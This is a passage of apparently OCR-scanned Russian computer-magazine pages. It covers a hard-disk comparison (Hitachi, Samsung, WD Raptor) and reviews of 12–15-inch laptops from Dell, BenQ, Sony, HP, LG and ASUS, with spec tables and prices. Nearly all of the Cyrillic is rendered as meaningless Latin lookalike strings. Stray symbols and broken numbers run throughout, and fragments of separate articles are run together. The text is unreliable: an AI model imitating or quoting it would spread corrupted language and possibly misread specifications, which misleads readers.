H5UUHMe HDD noHTM 6eciuyMHbie — KpoMe ahckob WD Raptor, 
pa6oTafoiAMx co CKopocTbK) 10 000 o6./mmh. m o6/iaAafoiAMx 
peKOpAHOM npOM3BOAMTe/lbHOCTbK). 



YpoBeHb luyivia, coHbi 


rinoxo I 


HopMa/ibHO 


Otjimhho 


METOflMKA TECTI/IP0BAHM51 


JliiAepbi TecTa 
PATA 


Hitachi HDT725025VLAT80 

Otot amck Ha 250 l"6aMT c ypoBHeM 
LuyMa 1 ,9 coHa — caMbm t mxmm b Tec- 
Te. Manoe BpeMa Aociyna (10,2 mc) 
i/i 3aivieHaTejibHoe cooTHomeHne ueHa/ 
KanecTBO AenaiOT ero MAeanbHbiM BapM- 
3 htom aah Tex, kto co6npa- 
eTCa MOA6pHI/l31/ipOBaTb 
CBOM KOMnblOTep. 
\ .r Uena: $81 ($0,32 

x ^^ sbbB ^» 3a 1 fSaMT) 



H3n? 

OflTMMAJlbHblM 

BbIBOP 


Samsung SP2514N MM 

Hn3Kaa ueHa OAHoro mraOanTa — 

He eAi/iHCTBeHHbm K03bipb MOAenn 

SP2514N. CKopocTb nepeAani/i AaHHbix 
(58 M6aMT/c) aB/iaeica caMOM BbicoKOM 
b cnncKe >KecTKi/ix amckob PATA, a ypo- 
BeHb LuyMa cociaBJiaei Bce- 
ro 2,2 coHa. 

UeHa: $80 ($0,32 
3a 1 fOaiiT) 


SATA 


FnaBHblM KpMTepMeM OUeHKM >KeCTKMX AUCKOB ABAfieTCfl MX 
npoM3BOAMTeAbHOCTb (60%). Fla opeHKy bamaiot M3MepeHHbie 
b Aa6opaiopHbix ycAOBMAx 3HaneHM5i CKopocTM nepeAaHM AaH- 
Hbix, BpeweHM Aociyna, a TaK>Ke pe3yAbiaibi pa3AMHHbix npaK- 
TMHecKMx TedOB (BpeMA 3arpy3KM KOMnbiOTepa, CKaHMpoBa- 
HMe BMpycoB, pa6oia c 6a3aMM AaHHbix m M3o6pa>KeHMflMM). 
Mbi ripeAnoHMTaeM 6bicipbie ahckm, KOTopbie pa6oiaiOT tmxo. 
no3TOMy opeHKa 3a ypoBeHb rnywa cocraBAneT 30% ot o6mero 
pe3yAbTaTa. rioTpe6AfleMafl MoiAHocTb TO>Ke Ba>KHa: HM3Koe 
3HepronoTpe6AeHMe noAO>KMTeAbHO CKa3biBaeTCA Ha npoAOA- 
>KMTeAbHOCTM >KM3HM A^CKa, a 3TO y>Ke 10% OT o6lAeM OUeHKM. 





Samsung HD401LJ I 

Mo>kho noAyiviaTb, hto Samsung nony- 
hi/iji KapT-6jiaHiii Ha noOeAbi b Teciax 
WeCTKMX AMCKOB. OTOMy npOM3BOAHTeAK) 
KaK Hi/iKOMy ApyroMy, yAaeica coneiaib 
xopomyio npOM3BOAMTeAbHOCTb C Hl/13- 
ki/im ypoBHeM ujyivia. JlyHwnn npmviep — 
MOAenb HD401LJ. 

UeHa: $146 ($0,37 
3a 1 fOaMT) 



Samsung SP2504C I 

>KeCTKI/M AMCK C nyHLLI l/IM COOTHOUJeHM- 
eM ueHa/KanecTBO — TO>Ke Samsung! 
Otot Bi/mnecTep paOoTaeT He TaK tmxo, 
KaK noOeAMTe/ib TecTa, 3aTO y Hero 
nyTb 6onee KopoTKoe Bpeivm AOCTyna 

(10,8 MC) M HeCJlblXaHHO HM3- 
^ Kan ueHa. 

UeHa: $82 ($0,33 

3air6aMT) 
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2006 rofl OKa3ajica peBoniouMOHHbiM fljin pbiHKa HoyTfiyKOB. 3KcnaHCi/m npoijeccopoB Core 
Duo n Core 2 Duo conpoBOWfla/iacb aKTMBHbiM pa3BmneM nnairfDopivibi Centrino, hto npw- 
Be/io k noaBJieHMio HaMHoro Oojiee npoM3BOflMTejibHbix MOfle/iew. Ilpn 3tom npeflbiflymee 
noKOJieHne HoyT6yKOB Ha 6a3e Pentium M CTano HaMHoro fleweBJie. 


B AaHHblH o630p BOLLIJTH TOJIbKO KJiaC- 
CHHecKHe Hoyr6yKH. Mbi He paccMaT- 
pHBajiH MoaejTH c nuaroHajibio ot 
17 #k)hmob, KOTOpbie yace Tpy^HO Ha3BaTB 
mo 6 hjibhbimh, h He CTajiH yuapHTbca b Kpan- 
hocih, onHCbiBaa 10-atOMMOBbie ycTponc- 
TBa. B Ka>K/iOM H3 npe#CTaBjieHHbix ceron- 
hh KJiaccoB ( 12 , 13 , 14 h 15 tuohmob) 
npHcyrcTByiOT KaK bio/pKeTHbie, Tax h 
Aoporae npOH3BOAHTejiBHbie moacjih. 
npH HX OLteHKe H CpaBHeHHH Heo6xOAH- 
MO yHHTbIBaTB HeKOTOpbie 0C06eHH0CTH 
« h oyr6y KOCTp oen h b » . 

Bo-nepBBix, pa 3 HHiia b ijeHe obycjiOB- 
JieHa He TOJIBKO npOH 3 BOAHTeJIBHOCTbK). 
B 03 M 05 KH 0 , CTOHMOCTb JJB yX MOfleJieH 
c noxoxHMH xapaKTepHCTHKaMH 6 y#eT 
pa 3 JiHHaTbCH Ha cothh ^ojuiapOB — He 
HyacHO 3 a 6 BiBaTb, hto Ha iteHy Hoyr 6 yKa 
BjiHneT h KanecTBO MaTpHitBi, h MaTepnaji 


Kopnyca, h Taicne HeyaobHbie jjjw H 3 Me- 
peHHH napaMeTpBi, KaK sptohomhhhoctb, 
n 03 HIIH 0 HHp 0 BaHHe H JIM 3 aHH. 

Bo-BTOpBIX, npOH 3 BOAHTeJIBHOCTB 6 BIBa- 
eT pa 3 HOH. Hoyr 6 yK mokct 6 bitb ocHauieH 
caMbiM MOLLiHbiM Mo 6 HjibHbiM npouecco- 
pOM Core 2 Duo, ho ecjiu b HeM Hcnojn> 3 y- 
eTCH HHTerpHpOBaHHoe rpacjmHecKoe mpo, 
to HenoHHTHO, Kyjja. 3 Ty npOH 3 BO#HTejib- 
HOCTb npHMeHHTB, BQJJb flJIH 0 (})HCH 0 H 

pa6oTbi h npocMOTpa BH^eo c jihxboh 
a;ocTaTOHHO h BnojiHe cpeaHHx no Hbmeni- 
hhm MepKaM npoiteccopOB, a bot npo 
HTpBI npH^eTCH 3a6BITB. KOHeHHO, no 
Mepe toto KaK n po H3 Boa HTeji w 6yayr 
a^anTHpoBaTb cboh MoaejiH k Vista 
Premium, ancKpeTHan rpa<J)HKa aoaama 
CTaTb HOpMOH >KH3HU, HO anneTHTBI HTpO" 
boh HH^ycTpHH pacTyr 6biCTpo, a aaanre- 
pBi c noaaepacKOH DirectX 10 b mo6hjib- 


hom HcnojiHeHHH mbi He yBH^HM eme 
flojiro. K npHMepy, HOBenmnn Mobility 
Radeon X 2300 otoh noaaepaoai jinmeH, 
xoth ero HH^eKC othochtch k toh >i<e 
CepHH, HTO H HaCTOJIbHbie Tpa 4 )HHeCKHe 
pemeHHH Ha 6 a 3 e R 600 . 

B-TpeTbHx, BbicoKan npOH 3 BoaHTeab- 
hoctb — 3 to He Bceraa xopomo, noc- 
KOJiBKy OHa conpaaceHa c noBbimeHHbiM 
3 HepronoTpe 6 jieHHeM h TennoBbiaene- 
HHeM. HtoGbI A 06 HTbCH y^OBJieTBOpH- 
TejibHoro BpeMeHH paboTbi, npOH 3 BoaH- 
TeJIH BBIHyOK^eHbl KOMHJieKTOBaTb CBOH 

HoyTbyKH 6ojiee cmkhmh GaTapeaMH, hto 
HeraTHBHO CKa3BiBaeTca KaK Ha Bece h 
rabapHTax, Tax h aeHe. IlooTOMy, b otjih- 
nne ot mo 6 hjibhbix Tejie(J)OHOB h KI1K, 
MHHHaTIOpHOCTB JJJ151 HOyTbyKa — OTHtOZIb 
He Bceraa Bpar aenieBH3Hbi. 
flMmpuM Jlodan 
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a>OPM-<MKTOP 


CpeflHMM KJiacc: 


Dell XPS Ml 210 


'£ 


* * 


fci 


mmmmmml HoyT6yK reMMepcKOM cepmi - 
Dell XPS Ml 21 0 c fluaroHaobio anpaHa Bcero 1 2" 



TEXHMHECKME XAPAKTEPMCTMKM 

MoAe/ib 

► 

XPS Ml 21 0 

HpOMSBOflUTeJlb 

► 

Dell 

Aflpec b 1 /lHTepHeie 

► 

www.dell.ru 

Hpoueccop 

► 

Intel Core 2 Duo T7600 

llaMBTb: TMn/ofoeM, M 6 aiiT 

► 

DDR2-667/1024 

BHfleoaflamep: MOflenb/ 
naMBTb, M 6 aPiT 

► 

NVIDIA GeForce Go 
7400/64 

>KecTKMM ahck: MHTeptpeMC/ 
CKOpOCTb BpaiAeHMB, 06./MMH./ 
o 6 teM, F 6 aMT 


SATA/7200/100 

EMKOCTb Oaiapen, mAh 

► 

7650 

OpiieHTiipoBOHHaB ueHa, $ 

► 

1500 


■ 0t 12-AK)MMOBblX HOyT6yKOB o6blHHO 
HMKTO He 0>KMAaeT 0 C 060 M npbITM — KaK 
npaBM/io, mx npMo6peiaK)T He A/ifl Toro, hto- 
6bi MrpaTb. TeM He MeHee BCTpenafOTCfl mc- 
K/lK)HeHM5U peiUMB, HTO MC>6M/lbHbie MrpOBbie 
Hoyi6yKM TO>Ke Heo6xoAMMbi, KOMnaHMA 
Dell co3Aa/ia Ma/ieHbKoro npeACTaBMTe /151 
b npoM3BOAMTe/ibHOM rePmepcKOM cepMM 
XPS — M1210 c 12,l-AK)MMOBbiM WXGA- 
3 KpaHOM (pa3peiueHMe — 1280x800). 

Hoyi6yK ocHaneH ABy^AepHbiM npouec- 
copoM Core 2 Duo T5600 (1,83 \Ti\), 1 T6aMT 
naMflTM (paCUJMp53eTC51 AO 4 l"6aMT) M, HTO 
eme 6o/iee b3>kho a/w Mrp, AUCKpeTHbiM 
BMAeoaAamepoM NVIDIA GeForce Go 7400 
(64 M6aMT co6cTBeHHOM naM/iTM). 

Baiape^ Dell XPS M1210 MMeeT BnenaT/ifl- 
\ou\y\o eMKOCTb 7650 mAh. riocKO/ibKy Mecra 
A/i5i Hee b TaKOM Ma/ieHbKOM Hoyi6yKe HeAO- 
CTaTOHHO, OHa CM/ibHO BbidynaeT M3 Kopnyca 
c3aAM. Baiape/i TaK>Ke noB/iMji/ia HayBe/iM- 
neHMe Beca KOMnbfOTepa noHTM ao 2 Kr, hto 
cymecTBeHHo 6o/ibiue no cpaBHeHMK) c TeM 


>Ke 13-AK)MMOBbiM VAI0 SZ2XRP. Ho Te, kto 
roTOB CMMpMTbc/i c 3 tmm HeAOcraTKOM, no/iy- 
naT Hen/ioxoe BpeM/i 3 btohomhom pa6oTbi: 
noHTM Tpu naca b oc(dmchom pe>KMMe m neTbi- 
pe — npu npoMrpbiBaHMM My/ibTMMeAMa. 

EcTb BapuaHT m a/ 151 Tex, KOMy 3 tot napa- 
MeTp He TaK Ba>KeH: yMeHbiueHHa/i 6aTape/i 
Ha 4800 mAh. Dell XPS M1210 o6opyAOBaH 
100-rMra6aMTHbiM BMHHecrepoM (BCTpena- 
K)TC5i m 6o/iee AeiueBbie moag/im c MeHbLUMM 
HDD m 6o/iee c/ia6biM npoueccopoM) m nu- 
myiAMM DVD-npMBOAOM. 

KOMMyHMKaUMOHHbie B03MO)KHOCTM M Ha- 
6op pa3-beMOB BecbMa Hen/ioxo cmotpatc5i 
H a cf)OHe CKpoMHbix pa3MepoB HoyT6yKa: b 
H a/iMHMM MMeiOTC/i 802. llg m Bluetooth 2.0 
c EDR, MOAeM V.92, 100-Mera6MTHbm ceTe- 
bom nopT, neTbipe nopTa USB 2.0, oamh 
F ireWire, cbeMHbm KapT-pMAep, noAK/ifonae- 
MbiM nepe3 oamh M3 pa3-beMOB PCMCIA II, 
KaMepa (1,3 MeranMKce/ifl), VGA-pa3-beM 
A/151 nOAK/lfOHeHM/l BHeilJHerO MOHMTOpa 
m S-Video — a/ 151 Te/ieBM3opa. 
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chip TEST & TECHNICS 063 op HoyiOyKOB 12-15 akjmmob 


CpeflHiiM Kiiacc: BenQ Joybook 



(POPM (PftKTOP 

12-13" 


■ 13-flfOMMOBbie Hoyi6yKM BCTpenaiOTCfl 
flOBOJi bHO peflKO, noaTOMy ec/iM 3 to Bam 
JlK)6l/1MblM pa3Mep, TO Ha CerOAH5UUHMM 
AeHb Bbi6op BecbMa HeBe/i mk — /im 6 o 
VAIO SZ2, j \ m 6 o MOfle/ib Bpofle BenQ 
Joybook S31, KOTopaa AeweB/ie npoAyK- 
tob Sony Ha $500-1000 m ocHaneHa npM 
3 tom Aa>Ke 6o/iee MoiAHbiM npopeccopoM 
Core Duo T5500 n 1 T6aMT DDR2-667. 
BnponeM, MOiAb Joybook S31 He c6a/iaH- 
cnpoBaHa, m 6 o AHCKpeTHaa BMAGOCMCTeMa 
3Aecb OTcyTCTByeT, a ot Intel GMA 950 
MHororo o>KMAaTb He npMxoAMTca. 

13-AK)MMOBblM LUMpOK03KpaHHblM 
AMCn/ieM C r/lflHAeBbIM aHTM6/lMKOBblM 
noKpbiTMeM MMeeT pa3peiueHMe WXGA 
(1280x800) M MaKCMMa/lbHyK) flpKOCTb 
220 ka/m 2 . Ymbi o63opa xywe, neM xoTe- 
/lOCb 6bl, HO 3TO CBOMCTBeH HO BCeM MOAe- 

/ibm AaHHoro ueHOBoro Anana30Ha. 
Joybook S31 AOdaTOHHO MaccMBeH 

A/151 CBOHX pa3MepOB — CO CTaHASpTHOM 


6aiapeeM Ha 4400 mAh oh Bee mt 2,1 kt. 
BpeMfl aBTOHOMHOM pa 60 Tbl npM M3KCM- 
Ma/ibHOM 3Heproc6epe>KeHMM cocraB/ifleT 
OKO/IO Tpex C nO/lOBMHOM HaCOB, a MC- 
nO/lb30BaHMe BOCbMMCKOpOCTHOTO 
AByc/iOMHoro DVD-RW KMHonpocMOT- 
pa coKpanaeT ero ao AByx c /imiuhmm 
nacoB. Ha 3Ty MOAe/ib ycTaHaB/iMBaeTca 
SATA-BMHHeciep co CKopocTbfo BpaiAeHi/ifl 
5400 o6opoTOB b MMHyiy m ob^eMOM 
80 m/im 100 T6aMT. 

BenQ Joybook S31 ocHaneH BceMn He- 

o6xOAMMblMM KOMMyHMKaUMOHHbIMM MH- 
Tepcf)eMcaMM, BK/nonafl Wi-Fi 802.11 b/g 
i/i Bluetooth 2.0 + EDR, a Taione 6ojibLm/iM 
KO/l MHeCTBOM pa3"beMOB — HeTbipbMfl 
nopiaMM USB 2.0, oahmm FireWire, tm ra- 
6mHbiM Ethernet, BbixoAaMM VGA, S-Video 
i/i S/PDIF. B h a ji i/i h i/i i/i TaK>Ke KapT-pMAep 
«5 b 1» (SD/MMC/MS/MS Pro/xD), 
1,3-MeranMKce/ibHa/i Be6-KaMepa m c/iot 
pacmnpeHM /1 ExpressCard. 



CPEfltf nPEHMWECTB 


3 T 011 MOfle/lM - 
Hen/ioxan BGTpoeHHaa axycTHHecKafl cwcieivia 



TEXHMHECKME XAPAKTEPMCTMKM 


Moflenb 

► 

Joybook S31 

riponsBOftmefib 

► 

BenQ 

Aflpec b MmepHeie 

► 

www.benq.ru 

npoueccop 

► 

Intel Core 2 Duo 
T5500 

naMRTb: inn/oObeM, M6 bmt 

► 

DDR2-667/1024 

BHfleoaflamep 

► 

Intel GMA 950 

>KeCTKMM flMCK: MHTepepeue/ 
CKOpOCTb BpameHMR, 06 ./MMH./ 
odbeM, F6aMT 


SATA/5400/100 

EMKOCTb 6aTapen, mAh 

► 

4400 

OpiieHTiipoBOHHaR ueHa, $ 

► 

1300 


SZ2XRP/CS 


aBE BMflEOnJIATbl 


fl/lfl padOTbl B np 0 M 3 B 0 flM- 
Te/ibHOM m 3Heproc6eperaH)LAeM pexcmviax 


TEXHMHECKME XAPAKTEPMCTMKM 

■■■■■■if 

MoAe/ib 

► 

VAIO SZ2XRP/CS 

np0M3B0fiMTe/lb 

► 

Sony 

Aflpec b 1/lmepHeie 

► 

vaio.sony.ru 

npoueccop 

► 

Intel Core 2 Duo T2500 

naMRTb: mn/obbeM, M 6 bmt 

► 

DDR2-533/1024 

Bufleoaflamep: Moue/ib / 
obbeM naMRTii, M 6 aMT 

► 

Intel GMA 950 1/1 NVIDIA 
GeForce Go 7400/128 

>KecTKMM amck: umeptpeMC/ 
CKOpOCTb BpaiUCHHR, 06 ./MMH./ 
odbeM, rbaMT 

► 

SATA/5400/100 

EMKOCTb 6 aTapen, mAh 

► 

5200 

OpiieHTRpoBOHHaR uena, $ 

► 

2300 



■ B AaHHOM MOAe/lM rapMOHI/lHHO COHeTaiOTCfl 
mo 6 i/i/i bHOdb (noApa3yMeBaeTC/i KOMnaKTHOdb, 
Ma/lblM Bee H A/ime/lbHOe BpeMfl 3BTOHOMHOM 
pa6oTbi) m Hen/ioxaa MOiAHOCTb. He ctomt 
>KA aTb, hto Ha VAIO SZ2 mo>kho 6yAeT c kom- 
c|doptom nokirpaTb b Crysis m/im S.T.A.L.K.E.R., ho 
yAMBi/iTb 3 tot Hoyi6yK Bn o/i He cnoco6eH. Oh 
o6opyAOBaH AayM/i BMAeocMcreMaMM — i/iHTer- 
pnpoBaHHoPi Intel GMA 950 m AUCKpeTHoPi 
GeForce Go 7400 co 128 MbaPiT naM/iTM m Tex- 
Ho/iomeM Turbo Cache. riepBa/i OT/iMnaeTC/i 
3KOHOMI/lHHOCTbK) (y Be/1 1/1 H 1/1 B351 BpeMfl aBTOHOM- 
HOM pa6oTbi 6o/iee neM Ha 20%), 3aTO BTopa/i b 
4-6 pa3 6o/iee npoM3BOAMTe/ibHa m Bno/iHe ta- 
HeT Doom 3, Prey m UT 2004 npn cpeAHMx Ha- 
CTpoMKax KanecTBa. Bbi6op Me>KAy KOHcfiMrypa- 
Amamm no/ib30BaTe/ib ocyiAecTB/meT BpyHHyio, 
ycTaHaB/iMBa/i nepeK/nonaTe/ib HaA K/iaBMaTy- 
poM b no/io>KeHne «Stamina» m/im «Speed». 

flM3aMH M MCnO/lHeHMe HOyT6yKa AOCTOMHbl 
caMbix no/io>KMTe/ibHbix oueHOK. Kopnyc 
Bbino/iHeH M3 MeTa/i/ia, hto no/io>KMTe/ibHO 
CKa3bmaeTC5i Ha npoHHOCTM m TeMnepaTypHOM 
pe>KMMe. 0co6eHHo BnenaT/i/ieT KpbiiuKa M3 yr- 


zieBO/iOKHa to/iiamhom Bcero b 5 mm. TaKoro 
pe3y/ibTaTa pa3pa6oTHMKM Ao6M/iMCb 3a cneT 
Mcno/ib30BaHM/i LED-noACBeTKM 3KpaHa. 
rioMMMO KOMnaKTHocTM, 6o/iee KanecTBeHHOM 
ABeTonepeAaHM m noBbiweHHOM apkoctm CBe- 
TOAMOAHa/i noACBeTKa no3BO/meT e^e Ha Ae- 
C51TOK npOLieHTOB npOA/lMTb BpeM51 aBTOHOM- 
HOM pa6oTbi — oho cocTaB/i/ieT oko/io weem 
nacoB b pe>KMMe 3Heprocbepe>t<eHM5i. 

HecMOTpa Ha CKpoMHbie pa3Mepbi, VAIO SZ2 
ocHaneH bccmm Heo6xoAMMbiMM pas^beMaMM m 
BCT poeHHbiMM raA>KeTaMM: noMMMO AByx USB- 
nopTOB 3Aecb ecTb FireWire, KapT-pMAep, 
Bluetooth 2.0+EDR, ceTeBOM aAanTep 
10/100 M6 mt/c, MOAeM V. 92, Be6-KaMepa c 
pa3peiueHMeM 640x480 m CKaHep OTnenaTKOB 
na/ibueB. Y HoyT6yKa OTHOCMTe/ibHO BbicoKa/i 
ueHa, ho 3 to zierKO McnpaBMMo: mo>kho npMo6- 
pecTM MOAe/ib VAIO SZ2HRP/B, b kotopom MMe- 
eTC/i npoueccop Core Duo T2300 (1,66 \Tu,) 
BMecTO T2500 (2 \Tu,), BMHHecTep Ha 80 T6aMT, 
ziaMnoBa/i noACBeTKa bmccto LED, MarHMM BMec- 
to yr/ieBO/iOKHa m OTcyrcTByeT CKaHep OTnenaT- 
kob — 3aTO m ueHa npMMepHO Ha $500 MeHbiue. 
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BioflmeTHafl MOflenb: HP 500 


■ CaMaa cn/ibHafl nepia HP 500 — sto ero 
ueHa. 3 tot HoyT6yK, jiniub HeMHoro MeHee 
npoM3BOflme/ibHbiM n ((DyHKUHOHajibHbiH, neM 
CpeflH5151 OC|3HCHafl MOflenb, K TOMy >Ke CTOI/IT 
Bcero /lMiub $800 n npn stom HeceT Ha ce6e 
jioroTnn HP Compaq, hto rapaHTnpyeT Bbico- 
Koe KanecTBO c6opKM. 

Hoyi6yK ocHOBaH Ha OTHocme/ibHo crapoM 
Mo6n/ibHOM npoqeccope Pentium M 740 c TaK- 
tobom nacTOTOM 1,733 rru i/i Hi/mceie 1915 GM, 
ocHameH 512 M6anT DDR2-533 (MaKCMMa/ib- 
HbiM o6T>eM — 1 r6aMT) n PATA-BMHHecrepoM 
Ha 80 T6aMT. BMAeocncreMa HHTerpnpoBaH- 
Haa: Intel GMA 900 co 128 M6anT BMAeonaM/i- 
TM, Bblfle/15ieMOM M3 OCHOBHOM CMCTeMHOM. 

Ha npaKTMKe npoM3BOAMTe/ibHOCTb HP500 
Ha 30-40% HM>Ke, neM y Hoyi6yKOB c M/iaAWM- 
mm MOAe/i5iMM Core 2 Duo, OAHaKO ec/iM He 3a- 
MaxMBaTbCfl Ha Windows Vista, to ee 6yAeT 
Bno/iHe AOdaTOHHO nnx oc|3hchoh pa6oibi, 
Be6-cepc|3MHra m npocMOTpa BMAeo. 

Ha6op pa3-beMOB y HP600 BK/ifonaeT mnbKO 
caMoe Heo6xoAMMoe: f\aa nopia USB, VGA- 
BbixoA, c/iot PCMCIA. KoHeHHO >Ke, npncyTCTBy- 
k)t MO Ay/lb Wi-Fi 802.11 b/g, 100-Mera6nTHbiM 
ceieBOM nopT m MOAeM V.90. KpoMe Toro, ho- 
yi6yK ocHaneH AByc/iOMHbiM DVD-RW. 


rioKpbiTMe 14-AK3MMOBoro WXGA-3KpaHa Ma- 
TOBoe, hto oneHb yAo6HO npn pa6oTe b apKO 
ocBeneHHbix noMetAeHMflx, KOHTpacmocrb 
m 5ipKOCTb Bno/iHe npneM/ieMbi, a BOTymbi 
o63opa ocTaB/miOT >Ke/iaTb MHoro Jiynmero. 

flM3aMH HP 500 crpor, ho He jimiieH opnrM- 
Ha/ibHOCTM: 3Aecb HeT Aono/iHMTe/ibHbix My/ib- 
TMMeAMMHblX KHOnOK M/1M KHOnOK 6blCTporO 
3anycKa, ho TannaA HaxoAMTCfl b CBoeo6pa3- 
hom Hemy6oKOM BbieMKe Ha Kopnyce m noKpbiT 
Ma/ieHbKMMM ymy6/ieHM5iMM, HTo6bi ero rpaHM- 
qbi nyBCTBOBa/iMCb Haouynb. 

B HP500 ycraHOB/ieHa HCK/noHHTe/ibHO 
CKpoMHa^ 6aTapefl eMKOCTbK) 2200 mAh. 
HeCMOTpjl Ha 3T0, A/lHTe/lbHOCTb 3BT0H0MH0M 
pa6oTbi npn MaKCMMa/ibHOM ypoBHe 3Heproc- 
6epe>KeHM5i cocTaB/meT okojio Tpex nacoB, 
to ecTb Bno/iHe Ha ypoBHe 6o/iee Aopornx 
HoyT6yKOB. KpoMe toto, 6/iaroAapfl HH3KOMy 
3HepronoTpe6/ieHMK) y HP 500 HeT 
npo6/ieM c neperpeBOM. 

KaK 3 to hm yAMBMTe/ibHO, cynecTByeT Aawe 
6o/iee AeiueBa^ Bepcn/i HP 500 c npoqecco- 
poM Celeron M 350 (1,3 rrq), 256 M6anT naMfl- 
tm, BMHHecTepoM obbeMOM 40 r6anT, DVD/CD- 
RW-npnBOAOM n 6e3 npeAycraHOBjieHHon 
Windows XP, KOTopaa ctomt Bcero $600. 



OT HP C HI13KMM 
3HepronoTpe6jieHHeM m npwBjieKaTejibHOM ueHoii 


TEXHMHECKME XAPAKTEPMCTMKM 

Mofle/ib 

► 

500 

flpOMSBOflUTeJlb 

► 

HP 

Aflpec b 1/lHTepHeie 

► 

www.hp.ru 

npoueccop 

► 

Intel Pentium M 740 

naMBTb: mn/ofrbeM, M6 bmt 

► 

DDR2-533/512 

Bufleoaflamep 

► 

Intel GMA 900 

>KeCTKMM amck: MHTeptpeMC/ 
odteivi, rdaMT 

► 

PATA/80 

EMKOCTb daiapeM, mAh 

► 

2200 

OpMBHTMpOBOHHaB UGHa. $ 

► 

800 




CpeflHNM Knacc: LG LW40-4555 


®0PM-®WT0P 

14 " 


1 OTJlHHHbli) UH3AHH, 1 

aprOHOMMHHOCTb, 

npMBjiexaTejibHoe cooTHOiijeHiie ueHa/KanecTBO 


TEXHMHECKME XAPAKTEPMCTMKM 

MoAe/ib 

► 

LW40-4555 

npOMSBOflHTeilb 

► 

LG Electronics 

Aflpec b 1/lHTepHeie 

► 

www.lg.ru 

npoueccop 

► 

Intel Pentium M 760 

naMBTb: Tun/odbeM, Mdawi 

► 

DDR2-533/512 

BMfleoaflarrrep: MOfle/ib/ 

► 

ATI Mobility Radeon 

odbeM naMBTii, MdawT 


X600/1 28 

>KecTKMM amck: MHTeptpeMc/ 

► 

PATA/4200/80 

CKOpOCTb BpaiAeHMB, 06./MMH./ 



odbeM, rdaMT 



EMKOCTb daiapex, mAh 

► 

4800 

OpMeHTlipOBOHHaB ueHa, $ 

► 

1200 


I HoyT6yK LG LW40-4555 noflBH/icfl Ha 
pbiHKe 6o/ibwe roAa Ha3aA- OAHaKO BeTepaH 
Bno/iHe cnoco6eH no6eAMTb HeKOTopbix 
60Jiee 5ipKMX KOHKypeHTOB HTO Ha3blBaeTCfl 
«nO 0HK3M» — 3a CHeT aprOHOMMHHOCTM, 
AM3anHa n xopomero cooTHomeHHfl qeHa/ 
npoM3BOAMTe/ibHOCTb. Bce-TaKM ycrapeBa- 
Hne MOAe/in MMeeT He TO/ibKO HeraTMBHyK) 
CTopoHy, ho n Bno/iHe no3MTMBHyio: ceroA- 
H53 LG LW40-4555 mo>kho npno6pecTM MeHb- 
me neM 3a $1300, hto A-nfl HoyT6yKa TaKoro 
K/iacca coBceM HeAoporo. 

MoAe/ib ocHOBaHa Ha npoqeccope Pentium 
M 760 c TaKTOBOM nacTOTOM 2 \Tu, (FSB 
533 MTa) m HnnceTe 1915 PM c 512 M6anT 
DDR2-533 (mo>kho pacmnpnTb ao 2 r6anT), 
a TaK>Ke o6opyAOBaHa A^CKpeTHon bmago- 
cncTeMon ATI Mobility Radeon X600 co 
128 M6anT co6cTBeHHon namvA. Ec/in HeT 
>KejiaHHfl nrpaTb b Aero m/im nrpbi, BbitueA- 
lune noc/ie 2004 roAa, to B03MO>KHOCTeM 
LG LW40-4555 xbbtmt c jimxbom. 

UJnpoKoc|DopMaTHbiM AHcn/ien c pa3peiue- 
HneM WXGA (1280x768) MMeeT He MOAHoe 


«CTeK/i/iHHoe», a crapoe Ao6poe aHTn6/iHKO- 
Boe noKpbiTne, KOTopoe cmotphtca He TaK 
3c(3ct3eKTH0, ho 3aTO He MeiuaeT pa6oTaTb npn 
flpKOM OCBeiAeHMM. 

Pa3yMeeTC/i, HoyT6yK Bp/iA /in cmo/kct co- 
peBHOBaTbC/l C VAI0 SZ2 n/in 12-AK)MMOBblMM 
MOAe/lflMH B JierKOCTM M KOMnaKTHOCTM, HO 
rpaMOTHbin AH3anH Ae/iaeT ero BM3ya/ibHO 
oneHb tohkmm. K/iaBMaTypa MMeeT npnBbin- 
Hbie A/ifl AecKTonoB pa3Mepbi n pacno/io>Ke- 
HMe K/l a B M 111 OCHOBHOrO 6/lOKa, BK/llOHafl 
«Shift», «Tab», «Backspace» n «Enter». 

Be3yC/10BHblM HeAOCTaTKOM 51B/15ieTC51 Ma- 
/ioe BpeM/i aBTOHOMHOM pa6oTbi: Bcero nyTb 
6o/iee Tpex nacoB b ocJdmchom pe>KMMe m nyTb 
6o/iee AByx npn npocMOTpe DVD. 

HoyT6yK o6opyAOBaH jpeiAn nopTaMM 
USB 2.0, nopTOM FireWire, KapT-pMAepoM m 
cjiotom paciunpeHM/i ExpressCard. EcTb TaK- 
>Ke npMBOA DVD-RW, KOTopbin mo>kho jierKO 
M3B/ieHb, ec/iM B HeM HeT Heo6xOAMMOCTM 
(npaBAa, 3ar/iyiuKM HeT) — BeAb kmho mo>k- 
HO nOCMOTpeTb M C AOCTaTOHHO o6T)eMHOrO 
80-rnra6aMTHoro BMHHecTepa. 
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chip TEST & TECHNICS 063 op HoyTOyKOB 12-15 akjmmob 


npoM3BOflmeiibHoe pewemie: 


■ HoBbm Hoyi6yK ASUS A8Jp MMeeT Heo>KM- 
AaHHO MomHyfo p,nt i 14 -ak)mmobom MOAe/iM 
KOHcfiMrypauMK), KOTopaa BK/ifonaeT npopec- 
cop Core 2 Duo T7200 c TaKTOBOM nacTOTOM 
2 ITp, 2 r6aMT 03Y, BMHHecrep 120 r6aMT, a 
TaK>Ke flucKpembiM BMAeoaflamep Mobility 
Radeon X1700 c 256 M6aPiT naMATM. 

3a BbicoKyio npoM3BOAMTe/ibHOCTb npnxo- 
AMtca n/iaTMTb yMeHbiueHMeM aBTOHOMHOCTM. 
BaTapea Ha 4800 mAh, KOTopaa Bno/iHe cno- 
co6Ha AO/iro «KopMmb» 6o/iee CKpoMHbie 
Hoyi6yKM, MCTomaeTCfl MeHee neM 3a Asa 
naca npocMOTpa DVD mjim Aea c no/iOBMHOM— 
ipn naca oc|dmchom pa6oibi. 

flMcn/ieM c pa3peiueHMeM WXGA+ (1440x 
900 nMKce/ieM) He MO>KeT noxBacraTbai xopo- 
lummm ymaMM o63opa. K/iaBMaTypa HecKO/ibKO 
oropnaeT 3ay>KeHHbiMM HaBMrapMOHHbiMM mia- 
BmuaMM, ho b pe/iOM yAo6Ha. 

KOMMyHMKaUMOHHbie B03MO>KHOCTM HOyT- 
6yKa 5 ibho Bbiiue cpeAHMx. IIommmo craHAap- 
THbix 802.11 b/g m MOAeMa V. 90 3Aecb ecTb 


Bluetooth m rnra6nTHbm Ethernet, IrDA, u,e- 
n bix nflTb nopTOB USB 2.0, nopT FireWire, Bbi- 
xoa S/PDIF. 06biHHbm VGA-BbixoA Aono/iHeH 
